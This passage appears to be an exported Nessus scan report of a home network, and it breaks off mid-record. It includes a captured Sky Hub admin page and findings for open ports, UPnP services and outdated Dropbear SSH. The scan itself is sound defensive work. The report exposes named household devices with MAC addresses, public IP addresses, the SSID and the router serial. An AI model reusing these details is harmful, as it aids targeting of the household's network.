<!-- jh scripts start -->
<script type="text/javascript" src="assets/js/libs/jquery/jquery-1.7.1.js"></script>
<script type="text/javascript" src="assets/js/libs/jquery/jquery.effects.core.js"></script>
<!--[if LT IE 7]>
			<script type="text/javascript" src="assets/js/libs/DD_belatedPNG_0.0.8a.js"></script>
		<![endif]-->
<script type="text/javascript" src="assets/js/utilities.js"></script>
<script type="text/javascript" src="assets/js/libs/modernizr.touch.js"></script>
<script type="text/javascript" src="assets/js/init.js"></script>
<!-- jh scripts end -->
<script type="text/javascript" src="assets/js/sky_utility.js"></script>
<script type="text/javascript" src="assets/js/sky_linux.js"></script>
<script type="text/javascript" src="assets/js/sky_script.js"></script>
<script type="text/javascript">
    <!--//
    var skyExtender = '';
    var msg_restart;
    if (skyExtender == '')
    {
        msg_restart = "Restarting the Sky Hub will terminate any active connections to the internet";
    }
    else
    {
        msg_restart = "Restarting the Sky Hub will terminate all active connections";
    }
    //-->
   </script>
   <script   type="text/javascript">
    var logoutEnabled = false;
      var attachedDevColumnName = 'MAC Address';
      var adminLoggedIp = '';
      var pcIpAddr = '192.168.0.35';
      var sky_wlAuthMode = 'psk2';
      var sky_wlWep = '';
      var sky_WirelessAllSSIDs = 'SKY45C70';
      sky_WirelessAllSSIDs = sky_WirelessAllSSIDs.replace(/ /g,"&nbsp;");
      var passwordLinkAttributes = {};

      function elementSupportsAttribute( elementType, attributeName )
      {
         // Convert "truthy" value to actual boolean (!!).
         return !!( attributeName in document.createElement( elementType ) );

      }
      function doEnablePasswordLink( enableLink )
      {
         var passwordLink;

         passwordLink = document.getElementById( 'passwordLink' );
         if( passwordLink )
         {
            // Determine if browser supports "disabled" attribute.
            if( elementSupportsAttribute( "a", "disabled" ) )
            {
               if( enableLink )
               {
                  passwordLink.disabled = false; // Automatically restore link colour.
                  // Restore hyperlink reference to re-enable it.
                  passwordLink.setAttribute( 'href', passwordLinkAttributes[ 'href' ] );

               }
               else
               {
                  passwordLink.disabled = true; // Automtically "grey out" the link.
                  // Disable the hyperlink, saving it for later restoration.
                  passwordLinkAttributes[ 'href' ] = passwordLink.getAttribute( 'href' );
                  passwordLink.setAttribute( 'href', 'javascript: void(0)' );
     
               } // if( enableLink )

            }
            else
            {
               if( enableLink )
               {
                  // Install a onclick handler that will allow the link to be followed.
                  passwordLink.onclick = function(){ return true; };
                  // Restore the original link colour.
                  passwordLink.style.color = passwordLinkAttributes[ 'colour' ];
                        
               }
               else
               {
                  // Install an onclick handler that will not allow the link to be followed.
                  passwordLink.onclick = function(){ return false; };
                  // Save the original link colour and then gray it out.
                  passwordLinkAttributes[ 'colour' ] = passwordLink.style.color;
                  passwordLink.style.color = "gray";
                        
               } // if( enableLink )

            } // if( elementSupportsAttribute( "a", "disabled" )

         } // if( passwordLink )

      }
      function init()
      {
         var passwordLink;

         // Initialize default properties for the password hypertext shortcut.
         passwordLink = document.getElementById( 'passwordLink' );
         if( passwordLink )
         {
         	passwordLinkAttributes[ 'href' ] = passwordLink.getAttribute( 'href' );
         	passwordLinkAttributes[ 'colour' ] = passwordLink.style.color;

         }
         else
         {
            passwordLinkAttributes[ 'href' ] = 'javascript: void(0)';
            passwordLinkAttributes[ 'colour' ] = 'gray';

         } // if( passwordLink )
         
         dataToVisible(document.forms[0]);
         loadhelp('sstatus_w');
         loadhelp('_diag');
		 if( ( ( sky_wlAuthMode == 'open' ) && ( sky_wlWep == 'enabled' ) ) ||
		     ( sky_wlAuthMode == 'shared' ) ||
		     ( sky_wlAuthMode == 'psk' ) ||
		     ( sky_wlAuthMode == 'psk2' ) ||
		     ( sky_wlAuthMode == 'psk psk2' ) ||
		     ( sky_wlAuthMode == 'radius' ) )
		    doEnablePasswordLink( true );

		 else
		 	doEnablePasswordLink( false );

         document.getElementById('logout').onclick = function()
         {
            if((adminLoggedIp != "") && (adminLoggedIp == pcIpAddr)) {
                 return true;
            } else {
                 return false;
            }
         }
      }
</script>
</head>
<body onload="init();">
<!-- head -->
<div id="head">
  <div id="header">
    <div class="layout"><span id="header-logo"></span><span id="header-title"><a href="sky_index.html">Sky Hub</a></span></div>
  </div>
  <!-- nav -->
  <div id="nav">
    <div id="main-nav">
      <div class="layout">
        <ul id="topmenu">
        <li ><a href="sky_wireless_settings.html">Wireless</a></li>
        
        <li ><a href="sky_eth_setup.html">Ethernet</a></li>
        <li ><a href="sky_logs.html">Security</a></li>
        <li ><a href="sky_router_status.html">Maintenance</a></li>
        <li ><a href="sky_wan_setup.html">Advanced</a></li>
        <li ><a href="sky_support.html">Support</a></li>
        <li ><a href="sky_license.html">Licence Information</a></li> 
        </ul>
        <a id="logout" href="sky_logout.html">Logout</a>
        </div>
    </div>
  </div>
  <!-- nav end -->
</div>
<!-- head end -->
<!-- content -->
<div id="content">
  <!-- layout -->
  <div class="layout">
    <div id="content-header">
      <div id="content-header-copy-index">
        <h1>Summary Status</h1>
        <p class="black">We configure your Sky Hub with all the settings to enable it to work straight away. Advanced users will find links below to common settings you may wish to change.</p>
        <p>For more settings select the menu options at the top of this page.</p>
      </div>
      <div id="content-header-image-index">
        <div id="content-header-background"></div>        
        <div id="router-image"></div> 
      </div>
      <br class="clear-break" />
    </div>
    <div id="content-body">
      <!-- main-panel -->
      <div class="main-panel">
        <hr class="top"/>
        <form name="formname" method="post" action="sky_rebootinfo.cgi">

          <script>
            var sky_extender = '';
            if (sky_extender != '')
            {
                document.write("<div>");
                document.write("<div class=\"section-heading\">");
                document.write("<h3>Your Sky Hub\'s Connection To An Access Point</h3>");
                document.write("</div>");
                document.write("<div class=\"row-holder\">");
                document.write("<span class=\"label w250\">Connection Status</span>");
                document.write("<span></span>");
                document.write("</div>");
                document.write("<hr />");
                document.write("</div>");
            }
          </script>

          <div class="section-heading">
            <h3>Status of your broadband and wireless network</h3>
          </div>
          <div class="row-holder" > <span class="label w250">Broadband</span>
            <script type="text/javascript">
				  <!-- hide
				  var wanDslLinkConfig = '1_ipoe_0_1_0.101_90.212.121.3_70:50:af:94:e0:22_255.255.252.0_90.212.120.1_ptm0.1_90.207.238.97, 90.207.238.99_41:03:43_2a02:c7f:8a1e:9000::1/64_fe80::a2f3:e4ff:fe86:e30_&nbsp;_&nbsp;_2a02:c7f:8a1e:9000::/56_fe80::7250:afff:fe94:e022'; // it's like: "1_PPPoE_8_32"
				  var elementWanDslLinkConfig = wanDslLinkConfig.split('_');
				  var WanoeStat='Disconnected_None_0_0_Disconnected';
				  var wanoeparam=WanoeStat.split('_');
				  var isWanConnected = 'Disconnected';
				  if(wanoeparam[0]=='Connected') {
				     isWanConnected='Connected';
				  }
				  else if (elementWanDslLinkConfig[0] == '1') {
					  isWanConnected = 'Connected';
				  }
				  document.writeln("<span>" + isWanConnected + "</span>");
				  // done hiding -->
             </script>
          </div>
          <div class="row-holder"> <span class="label w250">Wireless</span>
            <span>Enabled</span>
          </div>
          <div class="row-holder"> <span class="label w250">Wireless Network Name (SSID)</span>
          <script   type="text/javascript">
                document.writeln("<span>" + sky_WirelessAllSSIDs + "</span>");
          </script>
          </div>
          <div class="row-holder"> <span class="label w250">Wireless Network Visible</span>
            <span>Yes</span>
          </div>
          <div class="row-holder"> <span class="label w250">Current Wireless Channel</span>
            <span>3 (2.4 GHz), 36 (5 GHz)</span>
          </div>
          <div class="row-holder"> <span class="label w250">Wireless Encryption</span>
             WPA2-PSK
          </div>
           
          <div >
          <hr />
          <div class="section-heading">
            <h3>Devices connected to your home network</h3>
          </div>
          <table cellpadding="0" cellspacing="0" style="width:82%">
            <tbody>
              <tr class="header">
                <td width="35%">Device Name</td>
                <script type="text/javascript">
                document.write("<td>" + attachedDevColumnName + "</td>");
                </script>                
              </tr>
              <script type="text/javascript">
				<!--hide
				// done hiding -->
				var i, j, k, attach_dev = 'UNKNOWN,52:f8:59:68:48:4b,UnKnown<lf>Ring-1e888e,54:e0:19:1e:88:8e,Cabled<lf>Brians-iPhone,76:05:e7:54:eb:47,UnKnown<lf>UNKNOWN,58:2f:40:7f:d6:bb,UnKnown<lf>raspberrypi,b8:27:eb:8c:16:3a,UnKnown<lf>UNKNOWN,8c:c8:cd:74:d9:5e,Cabled<lf>BPM,2e:d1:ae:fe:f2:4b,UnKnown<lf>BPMSurfaceBook,b4:ae:2b:e5:a9:0e,UnKnown<lf>deco-E4R,d8:47:32:3b:b1:7c,UnKnown<lf>Ollies-iPhone,aa:38:1a:43:81:e9,UnKnown<lf>deco-E4R,d8:47:32:3b:a0:90,UnKnown<lf>XBOXONE,58:82:a8:24:78:f8,UnKnown<lf>ESP_1C5A18,b4:e6:2d:1c:5a:18,UnKnown<lf>iPad,ae:55:9c:d2:dc:9e,Wireless<lf>HelensiPhoneSE,f6:38:db:ae:20:37,UnKnown<lf>amazon-9ee13af0a,40:b4:cd:18:d0:8b,UnKnown<lf>amazon-7131f9f8b,5c:41:5a:72:2d:ff,UnKnown<lf>amazon-08b1a557b,18:74:2e:10:73:7b,Wireless<lf>HS100(UK),50:c7:bf:bf:6e:03,Cabled<lf>Chromecast,44:07:0b:35:00:40,UnKnown<lf>Plex,32:8f:9e:d7:3b:45,UnKnown<lf>amazon-f043041d8,f8:54:b8:83:ab:36,UnKnown<lf>DESKTOP-7FAM0HP,8a:20:7d:fb:7e:1a,UnKnown<lf>SKY+HD,20:47:ed:14:ba:2a,UnKnown<lf>SKY+HD,20:47:ed:7b:cc:b2,UnKnown<lf>SKY+HD,20:47:ed:1c:cf:9a,UnKnown<lf>amazon-edaabc7bb,6c:56:97:eb:9b:2f,UnKnown<lf>amazon-f8b4ebb59,68:db:f5:44:89:94,Wireless<lf>PVE,a0:48:1c:92:66:9c,UnKnown<lf>deco-E4R,d8:47:32:3b:ad:6c,UnKnown<lf>Roku 3 - 126,dc:3a:5e:f7:38:bf,Wireless';
                if(attach_dev != '&nbsp;') {
                    var ind_dev = attach_dev.split('<lf>');
                    var len = ind_dev.length;
                    var each_line = new Array(len);
                    if(attach_dev != ' ') {
                        for( i = 0; i < len; i++) {
                            each_line[i] = ind_dev[i].split(',');
                        }
                        for(var j = 0; j < len; j++) {
                            document.write("<tr>");
                            document.write("<td>" + each_line[j][0] + "</td>");
                            if( attachedDevColumnName == "MAC Address" ) {
                                document.write("<td>" + each_line[j][1] + "</td>");
                            }
                            else {
                                document.write("<td>" + each_line[j][2] + "</td>");
                            }
                            document.write("</tr>");
                        }
                    }
                }
             </script>
            </tbody>
          </table>
          <input name="sessionKey" value="560333804" type="hidden"/>
          <input name="this_file" value="sky_index.html" type="hidden"/>
          <input name="next_file" value="sky_index.html" type="hidden"/>
        </form>
        </div>
        <hr />
        <div class="buttons-holder"> <a href="sky_index.html" class="btn42 btn-clr-primary png"><span class="png">Refresh</span></a></div>
      </div>
      <!-- main-panel end -->
      <!-- side-panel -->
      <div class="side-panel">
        <div class="pod">
          <div class="content">
            <h5>Useful settings</h5>
            <ul class="clean">
              <li><a class="link" href="sky_router_status.html">Further Diagnostic Help</a></li><li><a class="link" href="sky_set_password.html">Change Admin Password</a></li><li><a class="link" href="sky_wireless_onoff.html">Disable or Enable Wireless Network</a></li><li><a class="link" href="sky_wireless_network_name.html">Change Wireless Network Name</a></li><li><a class="link" href="sky_wireless_password.html">Change Wireless Password</a></li><li><a class="link" href="sky_wireless_channel.html">Change Wireless Channel</a></li><li><a class="link" href="sky_block_sites.html">Change Parental Controls</a></li><li><a class="link" href="sky_backup_settings-erase.html">Revert to factory default settings</a></li><li><a class="link" href="javascript:if(confirm(msg_restart)) window.location.href='sky_rebootCPE.html'">Reboot Sky Hub</a></li>
            </ul>
          </div>
        </div>
      </div>
      <!-- side-panel end -->
      <br class="clear-break" />
    </div>
  </div>
  <!-- layout end -->
</div>
<!-- content end -->
</div>
</body>
</html>
										None								1/30/07		11/22/19

		24260						None		192.168.0.1		tcp		4444		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 400 Bad Request


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Server: apid 1.0
  Date: Thu, 05 Nov 2020 18:19:05 GMT
  Vary: Accept-Encoding, Origin
  Cache-Control: no-cache,no-store
  Content-Type: text/html; charset=%s
  Connection: close
  
Response Body :

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

  <head>
    <meta http-equiv="Content-type" content="text/html;charset=UTF-8">
    <title>400 Bad Request</title>
  </head>

  <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc">

    <h4>400 Bad Request</h4>
Internal Error 2.
<!--
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
-->
    <hr>

    <address><a href="https://www.meetcircle.com/">apid 1.0</a></address>

  </body>

</html>
										None								1/30/07		11/22/19

		24260						None		192.168.0.1		tcp		4567		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 400 Bad Request


Protocol version : HTTP/1.1
SSL : yes
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Server: apid 1.0
  Date: Thu, 05 Nov 2020 18:19:14 GMT
  Vary: Accept-Encoding, Origin
  Cache-Control: no-cache,no-store
  Content-Type: text/html; charset=%s
  Connection: close
  
Response Body :

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

  <head>
    <meta http-equiv="Content-type" content="text/html;charset=UTF-8">
    <title>400 Bad Request</title>
  </head>

  <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc">

    <h4>400 Bad Request</h4>
Internal Error 2.
<!--
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
Padding so that MSIE deigns to show this error instead of its own canned one.
-->
    <hr>

    <address><a href="https://www.meetcircle.com/">apid 1.0</a></address>

  </body>

</html>
										None								1/30/07		11/22/19

		24260						None		192.168.0.1		tcp		8889		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 302 Found


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Server: webd 1.0
  Date: Thu, 05 Nov 2020 18:19:14 GMT
  Access-Control-Allow-Origin: *
  Location: http://filter.meetcircle-sky.com
  Content-Type: text/html
  Connection: close
  
Response Body :

										None								1/30/07		11/22/19

		24260						None		192.168.0.1		tcp		8890		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 302 Found


Protocol version : HTTP/1.1
SSL : yes
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Server: webd 1.0
  Date: Thu, 05 Nov 2020 18:19:25 GMT
  Access-Control-Allow-Origin: *
  Location: http://filter.meetcircle-sky.com
  Content-Type: text/html
  Connection: close
  
Response Body :

										None								1/30/07		11/22/19

		25220						None		192.168.0.1		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		31422						None		192.168.0.1		tcp		0		Reverse NAT/Intercepting Proxy Detection		The remote IP address seems to connect to different hosts
via reverse NAT, or an intercepting proxy is in the way.		Reverse NAT is a technology which lets multiple computers offer
public services on different ports via the same IP address. 

Based on OS fingerprinting results, it seems that different 
operating systems are listening on different remote ports.

Note that this behavior may also indicate the presence of a
intercepting proxy, a load balancer or a traffic shaper.		Make sure that this setup is authorized by your security policy		https://en.wikipedia.org/wiki/Proxy_server#Intercepting_proxy_server		+ On the following port(s) : 
 - 80 (0 hops away)
 - 5300 (0 hops away)

The operating system was identified as :

Linux Kernel 2.6

+ On the following port(s) : 
 - 4567 (0 hops away)
 - 5431 (0 hops away)

The operating system was identified as :

Linux Kernel 2.6

										None								3/12/08		11/22/19

		35371						None		192.168.0.1		udp		53		DNS Server hostname.bind Map Hostname Disclosure		The DNS server discloses the remote host name.		It is possible to learn the remote host name by querying the remote
DNS server for 'hostname.bind' in the CHAOS domain.		It may be possible to disable this feature.  Consult the vendor's
documentation for more information.				
The remote host name is :

XDR_on_cdns16.bllon
										None								1/15/09		9/14/11

		35711						None		192.168.0.1		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.1:5431/dyndev/uuid:7050af94-e020-20e0-94af-50705094200000
    http://192.168.0.1:49164/wps_device.xml
    http://192.168.0.1:49163/wps_device.xml
    http://192.168.0.1:49162/wps_device.xml

And advertises these unique service names :

    uuid:7050af94-e020-20e0-94af-50705094200000::upnp:rootdevice
    uuid:7050af94-e020-20e0-94af-50705094200000::urn:schemas-upnp-org:device:InternetGatewayDevice:1
    uuid:7050af94-e020-20e0-94af-50705094200000::urn:schemas-upnp-org:service:Layer3Forwarding:1
    uuid:de7c8561-349e-2528-df63-3f74d9c089e9::upnp:rootdevice
    uuid:7050af94-e020-20e0-94af-50705094200001::urn:schemas-upnp-org:device:WANDevice:1
    uuid:7050af94-e020-20e0-94af-50705094200001::urn:schemas-upnp-org:service:WANCommonInterfaceConfig:
    uuid:7050af94-e020-20e0-94af-50705094200002::urn:schemas-upnp-org:device:WANConnectionDevice:1
    uuid:7050af94-e020-20e0-94af-50705094200002::urn:schemas-upnp-org:service:WANIPConnection:1
    uuid:de7c8561-349e-2528-df63-3f74d9c089e9::urn:schemas-wifialliance-org:device:WFADevice:1
    uuid:de7c8561-349e-2528-df63-3f74d9c089e9::urn:schemas-wifialliance-org:service:WFAWLANConfig:1

										None								2/19/09		9/12/18

		35712						None		192.168.0.1		tcp		5431		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.1:5431/dyndev/uuid:7050af94-e020-20e0-94af-50705094200000 :

deviceType: urn:schemas-upnp-org:device:InternetGatewayDevice:1
friendlyName: Sky ADSL Router
manufacturer: Sky Hub
manufacturerURL: http://www.sky.com/
modelName: ER110
modelDescription: (null)
modelName: ER110
modelNumber: 1.0
modelURL: http://www.broadcom.com/
ServiceID: urn:upnp-org:serviceId:Layer3Forwarding.1
	serviceType: urn:schemas-upnp-org:service:Layer3Forwarding:1
	controlURL: /uuid:7050af94-e020-20e0-94af-50705094200000/Layer3Forwarding:1
	eventSubURL: /uuid:7050af94-e020-20e0-94af-50705094200000/Layer3Forwarding:1
	SCPDURL: /dynsvc/Layer3Forwarding:1.xml
ServiceID: urn:upnp-org:serviceId:WANCommonInterfaceConfig.1
	serviceType: urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
	controlURL: /uuid:7050af94-e020-20e0-94af-50705094200001/WANCommonInterfaceConfig:1
	eventSubURL: /uuid:7050af94-e020-20e0-94af-50705094200001/WANCommonInterfaceConfig:1
	SCPDURL: /dynsvc/WANCommonInterfaceConfig:1.xml
ServiceID: urn:upnp-org:serviceId:WANIPConnection.1
	serviceType: urn:schemas-upnp-org:service:WANIPConnection:1
	controlURL: /uuid:7050af94-e020-20e0-94af-50705094200002/WANIPConnection:1
	eventSubURL: /uuid:7050af94-e020-20e0-94af-50705094200002/WANIPConnection:1
	SCPDURL: /dynsvc/WANIPConnection:1.xml
										None								2/19/09		6/12/20

		35712						None		192.168.0.1		tcp		49162		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.1:49162/wps_device.xml :

deviceType: urn:schemas-wifialliance-org:device:WFADevice:1
friendlyName: WPS Access Point
manufacturer: Sky
manufacturerURL: www.sky.com
modelName: Sky Hub
modelDescription: Sky Hub
modelName: Sky Hub
modelNumber: ER110
serialNumber: AC40178B017318
ServiceID: urn:wifialliance-org:serviceId:WFAWLANConfig1
	serviceType: urn:schemas-wifialliance-org:service:WFAWLANConfig:1
	controlURL: wps_control
	eventSubURL: wps_event
	SCPDURL: wps_scpd.xml
										None								2/19/09		6/12/20

		35712						None		192.168.0.1		tcp		49163		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.1:49163/wps_device.xml :

deviceType: urn:schemas-wifialliance-org:device:WFADevice:1
friendlyName: WPS Access Point
manufacturer: Sky
manufacturerURL: www.sky.com
modelName: Sky Hub
modelDescription: Sky Hub
modelName: Sky Hub
modelNumber: ER110
serialNumber: AC40178B017318
ServiceID: urn:wifialliance-org:serviceId:WFAWLANConfig1
	serviceType: urn:schemas-wifialliance-org:service:WFAWLANConfig:1
	controlURL: wps_control
	eventSubURL: wps_event
	SCPDURL: wps_scpd.xml
										None								2/19/09		6/12/20

		35712						None		192.168.0.1		tcp		49164		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.1:49164/wps_device.xml :

deviceType: urn:schemas-wifialliance-org:device:WFADevice:1
friendlyName: WPS Access Point
manufacturer: Sky
manufacturerURL: www.sky.com
modelName: Sky Hub
modelDescription: Sky Hub
modelName: Sky Hub
modelNumber: ER110
serialNumber: AC40178B017318
ServiceID: urn:wifialliance-org:serviceId:WFAWLANConfig1
	serviceType: urn:schemas-wifialliance-org:service:WFAWLANConfig:1
	controlURL: wps_control
	eventSubURL: wps_event
	SCPDURL: wps_scpd.xml
										None								2/19/09		6/12/20

		35716						None		192.168.0.1		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

70:50:AF:94:E0:21 : BSkyB Ltd
										None								2/19/09		5/13/20

		93650		CVE-2016-7407		10		Critical		192.168.0.2		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2012.55
  Installed version : 2012.55
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		93650		CVE-2016-7408		10		Critical		192.168.0.2		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2012.55
  Installed version : 2012.55
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		45410						None		192.168.0.1		tcp		4567		SSL Certificate 'commonName' Mismatch		The 'commonName' (CN) attribute in the SSL certificate does not match
the hostname.		The service running on the remote host presents an SSL certificate for
which the 'commonName' (CN) attribute does not match the hostname on
which the service listens.		If the machine has several names, make sure that users connect to the
service through the DNS hostname that matches the common name in the
certificate.				
The host name known by Nessus is :

  skyrouter.home

The Common Name in the certificate is :

  localhost

The Subject Alternate Names in the certificate are :

  10.123.234.1
  meetcircle.local
										None								4/3/10		6/25/19

		45410						None		192.168.0.1		tcp		8890		SSL Certificate 'commonName' Mismatch		The 'commonName' (CN) attribute in the SSL certificate does not match
the hostname.		The service running on the remote host presents an SSL certificate for
which the 'commonName' (CN) attribute does not match the hostname on
which the service listens.		If the machine has several names, make sure that users connect to the
service through the DNS hostname that matches the common name in the
certificate.				
The host name known by Nessus is :

  skyrouter.home

The Common Name in the certificate is :

  circle002

The Subject Alternate Names in the certificate are :

  10.123.234.1
  meetcircle.local
										None								4/3/10		6/25/19

		50845						None		192.168.0.1		tcp		4567		OpenSSL Detection		The remote service appears to use OpenSSL to encrypt traffic.		Based on its response to a TLS request with a specially crafted
server name extension, it seems that the remote service is using the
OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that
have enabled support for TLS extensions (RFC 4366).		n/a		https://www.openssl.org/												None								11/30/10		6/12/20

		50845						None		192.168.0.1		tcp		8890		OpenSSL Detection		The remote service appears to use OpenSSL to encrypt traffic.		Based on its response to a TLS request with a specially crafted
server name extension, it seems that the remote service is using the
OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that
have enabled support for TLS extensions (RFC 4366).		n/a		https://www.openssl.org/												None								11/30/10		6/12/20

		93650		CVE-2016-7409		10		Critical		192.168.0.2		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2012.55
  Installed version : 2012.55
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		93650		CVE-2016-7406		10		Critical		192.168.0.20		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
